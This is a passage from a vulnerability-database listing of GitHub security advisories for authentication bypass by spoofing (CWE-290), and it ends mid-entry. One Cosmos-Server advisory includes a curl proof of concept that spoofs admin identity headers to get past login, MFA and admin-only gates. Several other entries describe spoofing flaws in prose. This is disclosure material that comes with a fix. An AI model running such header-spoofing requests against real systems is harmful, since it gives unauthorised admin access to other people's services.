CWE-290
AllowedAuthentication Bypass by Spoofing
Abstraction: Base · Status: Incomplete
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
1030 vulnerabilities reference this CWE, most recent first.
GHSA-2JG8-5XCC-QJCX
Vulnerability from github – Published: 2025-12-11 18:30 – Updated: 2026-02-19 18:31Authentication Bypass by Spoofing vulnerability in HYPR Server allows Identity Spoofing.This issue affects Server: before 10.1.
{
"affected": [],
"aliases": [
"CVE-2024-8273"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T17:15:54Z",
"severity": "HIGH"
},
"details": "Authentication Bypass by Spoofing vulnerability in HYPR Server allows Identity Spoofing.This issue affects Server: before 10.1.",
"id": "GHSA-2jg8-5xcc-qjcx",
"modified": "2026-02-19T18:31:42Z",
"published": "2025-12-11T18:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8273"
},
{
"type": "WEB",
"url": "https://www.hypr.com/trust-center/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:H/SC:H/SI:N/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:I/V:D/RE:L/U:Amber",
"type": "CVSS_V4"
}
]
}
GHSA-2M52-FC9Q-48MJ
Vulnerability from github – Published: 2025-02-14 09:31 – Updated: 2025-02-18 15:31Logic vulnerability in the mobile application (com.transsion.carlcare) may lead to the risk of account takeover.
{
"affected": [],
"aliases": [
"CVE-2025-1298"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-14T08:15:30Z",
"severity": "CRITICAL"
},
"details": "Logic vulnerability in the mobile application (com.transsion.carlcare) may lead to the risk of account takeover.",
"id": "GHSA-2m52-fc9q-48mj",
"modified": "2025-02-18T15:31:06Z",
"published": "2025-02-14T09:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1298"
},
{
"type": "WEB",
"url": "https://security.tecno.com/SRC/blogdetail/383?lang=en_US"
},
{
"type": "WEB",
"url": "https://security.tecno.com/SRC/securityUpdates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MMJ-HGQM-X284
Vulnerability from github – Published: 2022-05-24 19:01 – Updated: 2022-05-24 19:01Pax Technology PAXSTORE v7.0.8_20200511171508 and lower is affected by a token spoofing vulnerability. Each payment terminal has a session token (called X-Terminal-Token) to access the marketplace. This allows the store to identify the terminal and make available the applications distributed by its reseller. By intercepting HTTPS traffic from the application store, it is possible to collect the request responsible for assigning the X-Terminal-Token to the terminal, which makes it possible to craft an X-Terminal-Token pretending to be another device. An attacker can use this behavior to authenticate its own payment terminal in the application store through token impersonation.
{
"affected": [],
"aliases": [
"CVE-2020-36128"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-07T11:15:00Z",
"severity": "HIGH"
},
"details": "Pax Technology PAXSTORE v7.0.8_20200511171508 and lower is affected by a token spoofing vulnerability. Each payment terminal has a session token (called X-Terminal-Token) to access the marketplace. This allows the store to identify the terminal and make available the applications distributed by its reseller. By intercepting HTTPS traffic from the application store, it is possible to collect the request responsible for assigning the X-Terminal-Token to the terminal, which makes it possible to craft an X-Terminal-Token pretending to be another device. An attacker can use this behavior to authenticate its own payment terminal in the application store through token impersonation.",
"id": "GHSA-2mmj-hgqm-x284",
"modified": "2022-05-24T19:01:47Z",
"published": "2022-05-24T19:01:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36128"
},
{
"type": "WEB",
"url": "https://blog.pridesec.com.br/p/4c972078-5f01-419e-8bea-cf31ff2e3670"
},
{
"type": "WEB",
"url": "https://marketing.paxtechnology.com/about-pax"
},
{
"type": "WEB",
"url": "https://www.whatspos.com"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2PFP-4M5X-6QW6
Vulnerability from github – Published: 2025-07-30 00:32 – Updated: 2025-11-03 21:34A downgrade issue was addressed with additional code-signing restrictions. This issue is fixed in macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7. An app may be able to access protected user data.
{
"affected": [],
"aliases": [
"CVE-2025-43245"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-30T00:15:36Z",
"severity": "CRITICAL"
},
"details": "A downgrade issue was addressed with additional code-signing restrictions. This issue is fixed in macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7. An app may be able to access protected user data.",
"id": "GHSA-2pfp-4m5x-6qw6",
"modified": "2025-11-03T21:34:16Z",
"published": "2025-07-30T00:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43245"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/124149"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/124150"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/124151"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/32"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/33"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/34"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2R8X-G2V5-X892
Vulnerability from github – Published: 2025-02-06 18:31 – Updated: 2025-02-10 15:32The device ID is based on IMEI in Forever KidsWatch Call Me KW50 R36_YDR_A3PW_GM7S_V1.0_2019_07_15_16.19.24_cob_h and Forever KidsWatch Call Me 2 KW60 R36CW_YDE_S4_A29_2_V1.0_2023.05.24_22.49.44_cob_b. If a malicious user changes the IMEI to the IMEI of a unit they registered in the mobile app, it is possible to hijack the device and control it from the app.
{
"affected": [],
"aliases": [
"CVE-2024-36557"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-06T18:15:31Z",
"severity": "MODERATE"
},
"details": "The device ID is based on IMEI in Forever KidsWatch Call Me KW50 R36_YDR_A3PW_GM7S_V1.0_2019_07_15_16.19.24_cob_h and Forever KidsWatch Call Me 2 KW60 R36CW_YDE_S4_A29_2_V1.0_2023.05.24_22.49.44_cob_b. If a malicious user changes the IMEI to the IMEI of a unit they registered in the mobile app, it is possible to hijack the device and control it from the app.",
"id": "GHSA-2r8x-g2v5-x892",
"modified": "2025-02-10T15:32:19Z",
"published": "2025-02-06T18:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36557"
},
{
"type": "WEB",
"url": "https://www.diva-portal.org/smash/record.jsf?aq2=%5B%5B%5D%5D\u0026c=1\u0026af=%5B%5D\u0026searchType=SIMPLE\u0026sortOrder2=title_sort_asc\u0026query=Exploiting+Vulnerabilities+to+Remotely+Hijack+Children%E2%80%99s+Smartwatches\u0026language=en\u0026pid=diva2%3A1933447\u0026aq=%5B%5B%5D%5D\u0026sf=undergraduate\u0026aqe=%5B%5D\u0026sortOrder=author_sort_asc\u0026onlyFullText=false\u0026noOfRows=50\u0026dswid=-8296"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2RX5-2G7J-2659
Vulnerability from github – Published: 2026-07-28 20:44 – Updated: 2026-07-28 20:44Summary
The Constellation-tunnel bypass branch in tokenMiddleware at src/proxy/routerGen.go:53-66 returns to the upstream handler before the request's x-cosmos-user, x-cosmos-role, x-cosmos-user-role, and x-cosmos-mfa headers are stripped at lines 68-72, and before the AdminOnlyWithRedirect gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends x-cosmos-user: admin to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.
Preconditions
- Cosmos is deployed with Constellation enabled and at least one device enrolled.
- Attacker holds a valid
x-cstln-authAPI key for an enrolled device. - Attacker reaches Cosmos over the Constellation Nebula tunnel.
- Target proxy route has
AuthEnabled=true; upstream trusts thex-cosmos-userforward-auth header.
Details
// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset
func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
enabled := route.AuthEnabled
adminOnly := route.AdminOnly
// bypass auth if from Constellation tunnel
if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) { // attacker-set header opens the branch
remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
isConstIP := constellation.IsConstellationIP(remoteAddr)
isConstTokenValid := constellation.CheckConstellationToken(r) == nil
if isConstIP && isConstTokenValid {
utils.Debug("Bypassing auth for Constellation tunnel")
r.Header.Del("x-cstln-auth")
next.ServeHTTP(w, r) // forwards x-cosmos-user as set by attacker
return
}
}
r.Header.Del("x-cosmos-user") // only runs on the fall-through path
r.Header.Del("x-cosmos-role")
r.Header.Del("x-cosmos-user-role")
r.Header.Del("x-cosmos-mfa")
r.Header.Del("x-cstln-auth")
// ... JWT path runs here ...
if enabled && adminOnly {
if errT := AdminOnlyWithRedirect(w, r, route); errT != nil { // also skipped by bypass
return
}
}
next.ServeHTTP(w, r)
})
}
}
The branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the x-cosmos-user header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device's Constellation IP as the TCP source. Once the branch is taken, the original x-cosmos-user value flows to the backend untouched, and AdminOnlyWithRedirect is never invoked. Backends configured per Cosmos's documented forward-auth integration (the standard pattern for "Cosmos in front of an app that reads identity from a header") treat the attacker's chosen string as the authenticated identity.
The Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the "invited member -> admin role on a proxied app" line.
Proof of concept
Environment used to reproduce:
- Version:
masterbranch, audited 2026-05-13 (modulegithub.com/azukaar/cosmos-server) - Deployment:
docker run azukaar/cosmos-server:latest(or thedocker-compose.ymlfrom the project README) - Setup steps:
- Complete initial setup via
/cosmos-ui/; promote the operator account to admin. - Enable Constellation: Settings > Constellation > Create lighthouse.
- Enrol a device under a non-admin user: Constellation > Devices > Create. Save the device profile and the displayed API key.
- Configure one proxy route with
Host=admin-app.example,Mode=PROXY,Target=http://internal-app:port,AuthEnabled=true,AdminOnly=true. Upstream must trust thex-cosmos-userheader (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header). - Attacker connects to the Nebula tunnel with the issued device profile, so the request's TCP source is the device's Constellation IP.
# 1. Variables - fill in from the steps above
DEVICE_APIKEY="<APIKey shown when admin created the device>"
PROXY_ROUTE="https://admin-app.example"
# 2. Single request that bypasses Cosmos auth and asserts admin to the backend
curl -k \
-H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
-H "x-cosmos-user: admin" \
-H "x-cosmos-role: 2" \
-H "x-cosmos-user-role: 2" \
-H "x-cosmos-mfa: 0" \
"$PROXY_ROUTE/" -i
# Expected: HTTP 200 with the admin-gated backend rendering as user "admin".
# No JWT cookie was sent; no admin Cosmos account is held by the caller.
# Cosmos's debug log shows: "Bypassing auth for Constellation tunnel".
A second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:
curl -k \
-H "x-cstln-auth: Bearer $DEVICE_APIKEY" \
-H "x-cosmos-user: someotheruser" \
"$PROXY_ROUTE/" -i
# Backend renders as "someotheruser"; any per-user data partitioning at the
# backend is now under attacker control.
Impact
- AuthN: bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.
- AuthZ: skips the per-route
AdminOnlygate, unlocking admin-only proxied backends. - Confidentiality: caller reads every admin-only proxied app as
adminfrom one curl. - Integrity: caller performs any admin-tier write the backend exposes via the forward-auth identity.
- Affected population: every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented
x-cosmos-userheader.
Suggestions to fix
This has not been tested - it is illustrative only.
Strip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the AdminOnly gate on the Constellation path. The branch should only fire for routes that are explicitly AuthEnabled=false - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes x-cosmos-user.
--- a/src/proxy/routerGen.go
+++ b/src/proxy/routerGen.go
@@ -46,15 +46,17 @@
func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ // Always strip identity headers before any decision based on them.
+ r.Header.Del("x-cosmos-user")
+ r.Header.Del("x-cosmos-role")
+ r.Header.Del("x-cosmos-user-role")
+ r.Header.Del("x-cosmos-mfa")
+
enabled := route.AuthEnabled
adminOnly := route.AdminOnly
- // bypass auth if from Constellation tunnel
- if ((enabled && r.Header.Get("x-cosmos-user") != "") || !enabled) {
+ // Constellation bypass only applies to non-auth routes; on auth-required
+ // routes the JWT path is the sole authority that may set x-cosmos-user.
+ if !enabled {
remoteAddr, _ := utils.SplitIP(r.RemoteAddr)
isConstIP := constellation.IsConstellationIP(remoteAddr)
isConstTokenValid := constellation.CheckConstellationToken(r) == nil
@@ -65,12 +67,7 @@
return
}
}
-
- r.Header.Del("x-cosmos-user")
- r.Header.Del("x-cosmos-role")
- r.Header.Del("x-cosmos-user-role")
- r.Header.Del("x-cosmos-mfa")
r.Header.Del("x-cstln-auth")
Defence in depth: document that backends downstream of Cosmos must not accept x-cosmos-user over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over <x-cosmos-user, request-id, timestamp> injected by the proxy and verified by the backend.
Regression test: add a unit test against tokenMiddleware asserting that a request bearing x-cosmos-user: admin and a valid x-cstln-auth reaches the next handler with r.Header.Get("x-cosmos-user") == "" whenever route.AuthEnabled == true.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.18"
},
"package": {
"ecosystem": "Go",
"name": "github.com/azukaar/cosmos-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49446"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-28T20:44:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Constellation-tunnel bypass branch in `tokenMiddleware` at `src/proxy/routerGen.go:53-66` returns to the upstream handler before the request\u0027s `x-cosmos-user`, `x-cosmos-role`, `x-cosmos-user-role`, and `x-cosmos-mfa` headers are stripped at lines 68-72, and before the `AdminOnlyWithRedirect` gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends `x-cosmos-user: admin` to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.\n\n### Preconditions\n\n- Cosmos is deployed with Constellation enabled and at least one device enrolled.\n- Attacker holds a valid `x-cstln-auth` API key for an enrolled device.\n- Attacker reaches Cosmos over the Constellation Nebula tunnel.\n- Target proxy route has `AuthEnabled=true`; upstream trusts the `x-cosmos-user` forward-auth header.\n\n### Details\n\n```go\n// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset\nfunc tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {\n return func(next http.Handler) http.Handler {\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n enabled := route.AuthEnabled\n adminOnly := route.AdminOnly\n\n // bypass auth if from Constellation tunnel\n if ((enabled \u0026\u0026 r.Header.Get(\"x-cosmos-user\") != \"\") || !enabled) { // attacker-set header opens the branch\n remoteAddr, _ := utils.SplitIP(r.RemoteAddr)\n isConstIP := constellation.IsConstellationIP(remoteAddr)\n isConstTokenValid := constellation.CheckConstellationToken(r) == nil\n\n if isConstIP \u0026\u0026 isConstTokenValid {\n utils.Debug(\"Bypassing auth for Constellation tunnel\")\n r.Header.Del(\"x-cstln-auth\")\n next.ServeHTTP(w, r) // forwards x-cosmos-user as set by attacker\n return\n }\n }\n\n r.Header.Del(\"x-cosmos-user\") // only runs on the fall-through path\n r.Header.Del(\"x-cosmos-role\")\n r.Header.Del(\"x-cosmos-user-role\")\n r.Header.Del(\"x-cosmos-mfa\")\n r.Header.Del(\"x-cstln-auth\")\n // ... JWT path runs here ...\n\n if enabled \u0026\u0026 adminOnly {\n if errT := AdminOnlyWithRedirect(w, r, route); errT != nil { // also skipped by bypass\n return\n }\n }\n next.ServeHTTP(w, r)\n })\n }\n}\n```\n\nThe branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the `x-cosmos-user` header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device\u0027s Constellation IP as the TCP source. Once the branch is taken, the original `x-cosmos-user` value flows to the backend untouched, and `AdminOnlyWithRedirect` is never invoked. Backends configured per Cosmos\u0027s documented forward-auth integration (the standard pattern for \"Cosmos in front of an app that reads identity from a header\") treat the attacker\u0027s chosen string as the authenticated identity.\n\nThe Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the \"invited member -\u003e admin role on a proxied app\" line.\n\n### Proof of concept\n\nEnvironment used to reproduce:\n\n- Version: `master` branch, audited 2026-05-13 (module `github.com/azukaar/cosmos-server`)\n- Deployment: `docker run azukaar/cosmos-server:latest` (or the `docker-compose.yml` from the project README)\n- Setup steps:\n 1. Complete initial setup via `/cosmos-ui/`; promote the operator account to admin.\n 2. Enable Constellation: Settings \u003e Constellation \u003e Create lighthouse.\n 3. Enrol a device under a non-admin user: Constellation \u003e Devices \u003e Create. Save the device profile and the displayed API key.\n 4. Configure one proxy route with `Host=admin-app.example`, `Mode=PROXY`, `Target=http://internal-app:port`, `AuthEnabled=true`, `AdminOnly=true`. Upstream must trust the `x-cosmos-user` header (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header).\n 5. Attacker connects to the Nebula tunnel with the issued device profile, so the request\u0027s TCP source is the device\u0027s Constellation IP.\n\n```bash\n# 1. Variables - fill in from the steps above\nDEVICE_APIKEY=\"\u003cAPIKey shown when admin created the device\u003e\"\nPROXY_ROUTE=\"https://admin-app.example\"\n\n# 2. Single request that bypasses Cosmos auth and asserts admin to the backend\ncurl -k \\\n -H \"x-cstln-auth: Bearer $DEVICE_APIKEY\" \\\n -H \"x-cosmos-user: admin\" \\\n -H \"x-cosmos-role: 2\" \\\n -H \"x-cosmos-user-role: 2\" \\\n -H \"x-cosmos-mfa: 0\" \\\n \"$PROXY_ROUTE/\" -i\n\n# Expected: HTTP 200 with the admin-gated backend rendering as user \"admin\".\n# No JWT cookie was sent; no admin Cosmos account is held by the caller.\n# Cosmos\u0027s debug log shows: \"Bypassing auth for Constellation tunnel\".\n```\n\nA second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:\n\n```bash\ncurl -k \\\n -H \"x-cstln-auth: Bearer $DEVICE_APIKEY\" \\\n -H \"x-cosmos-user: someotheruser\" \\\n \"$PROXY_ROUTE/\" -i\n# Backend renders as \"someotheruser\"; any per-user data partitioning at the\n# backend is now under attacker control.\n```\n\n### Impact\n\n- **AuthN:** bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.\n- **AuthZ:** skips the per-route `AdminOnly` gate, unlocking admin-only proxied backends.\n- **Confidentiality:** caller reads every admin-only proxied app as `admin` from one curl.\n- **Integrity:** caller performs any admin-tier write the backend exposes via the forward-auth identity.\n- **Affected population:** every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented `x-cosmos-user` header.\n\n### Suggestions to fix\n\n\u003e _This has not been tested - it is illustrative only._\n\nStrip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the `AdminOnly` gate on the Constellation path. The branch should only fire for routes that are explicitly `AuthEnabled=false` - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes `x-cosmos-user`.\n\n```diff\n--- a/src/proxy/routerGen.go\n+++ b/src/proxy/routerGen.go\n@@ -46,15 +46,17 @@\n func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {\n return func(next http.Handler) http.Handler {\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n+ // Always strip identity headers before any decision based on them.\n+ r.Header.Del(\"x-cosmos-user\")\n+ r.Header.Del(\"x-cosmos-role\")\n+ r.Header.Del(\"x-cosmos-user-role\")\n+ r.Header.Del(\"x-cosmos-mfa\")\n+\n enabled := route.AuthEnabled\n adminOnly := route.AdminOnly\n \n- // bypass auth if from Constellation tunnel\n- if ((enabled \u0026\u0026 r.Header.Get(\"x-cosmos-user\") != \"\") || !enabled) {\n+ // Constellation bypass only applies to non-auth routes; on auth-required\n+ // routes the JWT path is the sole authority that may set x-cosmos-user.\n+ if !enabled {\n remoteAddr, _ := utils.SplitIP(r.RemoteAddr)\n isConstIP := constellation.IsConstellationIP(remoteAddr)\n isConstTokenValid := constellation.CheckConstellationToken(r) == nil\n@@ -65,12 +67,7 @@\n return\n }\n }\n-\n- r.Header.Del(\"x-cosmos-user\")\n- r.Header.Del(\"x-cosmos-role\")\n- r.Header.Del(\"x-cosmos-user-role\")\n- r.Header.Del(\"x-cosmos-mfa\")\n r.Header.Del(\"x-cstln-auth\")\n```\n\nDefence in depth: document that backends downstream of Cosmos must not accept `x-cosmos-user` over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over `\u003cx-cosmos-user, request-id, timestamp\u003e` injected by the proxy and verified by the backend.\n\nRegression test: add a unit test against `tokenMiddleware` asserting that a request bearing `x-cosmos-user: admin` and a valid `x-cstln-auth` reaches the next handler with `r.Header.Get(\"x-cosmos-user\") == \"\"` whenever `route.AuthEnabled == true`.",
"id": "GHSA-2rx5-2g7j-2659",
"modified": "2026-07-28T20:44:33Z",
"published": "2026-07-28T20:44:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
},
{
"type": "PACKAGE",
"url": "https://github.com/azukaar/Cosmos-Server"
},
{
"type": "WEB",
"url": "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Cosmos-Server has an authentication bypass via forward-auth header smuggling on Constellation tunnel"
}
GHSA-2V4G-65GF-W58F
Vulnerability from github – Published: 2025-11-26 21:31 – Updated: 2025-12-11 00:30GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 18.4.5, 18.5 before 18.5.3, and 18.6 before 18.6.1 that under specific conditions could have allowed an unauthenticated user to join arbitrary organizations by changing headers on some requests.
{
"affected": [],
"aliases": [
"CVE-2025-12653"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-26T20:15:49Z",
"severity": "MODERATE"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.3 before 18.4.5, 18.5 before 18.5.3, and 18.6 before 18.6.1 that under specific conditions could have allowed an unauthenticated user to join arbitrary organizations by changing headers on some requests.",
"id": "GHSA-2v4g-65gf-w58f",
"modified": "2025-12-11T00:30:26Z",
"published": "2025-11-26T21:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12653"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3370245"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2025/11/26/patch-release-gitlab-18-6-1-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/579372"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2V87-3M5P-Q6CW
Vulnerability from github – Published: 2026-03-21 00:31 – Updated: 2026-03-21 00:31WebCTRL systems that communicate over BACnet inherit the protocol's lack of network layer authentication. WebCTRL does not implement additional validation of BACnet traffic so an attacker with network access could spoof BACnet packets directed at either the WebCTRL server or associated AutomatedLogic controllers. Spoofed packets may be processed as legitimate.
{
"affected": [],
"aliases": [
"CVE-2026-32666"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-21T00:16:26Z",
"severity": "HIGH"
},
"details": "WebCTRL systems that communicate over BACnet inherit the protocol\u0027s lack\n of network layer authentication. WebCTRL does not implement additional \nvalidation of BACnet traffic so an attacker with network access could \nspoof BACnet packets directed at either the WebCTRL server or associated\n AutomatedLogic controllers. Spoofed packets may be processed as \nlegitimate.",
"id": "GHSA-2v87-3m5p-q6cw",
"modified": "2026-03-21T00:31:44Z",
"published": "2026-03-21T00:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32666"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-078-08.json"
},
{
"type": "WEB",
"url": "https://www.automatedlogic.com/en/company/security-commitment"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-08"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-2VC7-6W39-6RH2
Vulnerability from github – Published: 2022-02-12 00:00 – Updated: 2025-10-22 00:32An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX's data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.
{
"affected": [],
"aliases": [
"CVE-2022-24112"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-11T13:15:00Z",
"severity": "CRITICAL"
},
"details": "An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX\u0027s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.",
"id": "GHSA-2vc7-6w39-6rh2",
"modified": "2025-10-22T00:32:29Z",
"published": "2022-02-12T00:00:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24112"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/lcdqywz8zy94mdysk7p3gfdgn51jmt94"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-24112"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/166328/Apache-APISIX-2.12.1-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/02/11/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2VJQ-HG5W-5GM7
Vulnerability from github – Published: 2024-05-14 20:13 – Updated: 2025-03-05 19:27Impact
OctoPrint versions up until and including 1.10.0 contain a vulnerability that allows an unauthenticated attacker to completely bypass the authentication if the autologinLocal option is enabled within config.yaml, even if they come from networks that are not configured as localNetworks, by spoofing their IP via the X-Forwarded-For header.
If autologin is not enabled, this vulnerability does not have any impact.
Patches
The vulnerability has been patched in version 1.10.1.
Workaround
Until the patch has been applied, OctoPrint administrators who have autologin enabled on their instances should disable it and/or to make the instance inaccessible from potentially hostile networks like the internet.
PoC
- Enable the
autologinAsconfiguration within theaccessControlsection in the OctoPrint yaml configuration file - Set your browser to add the
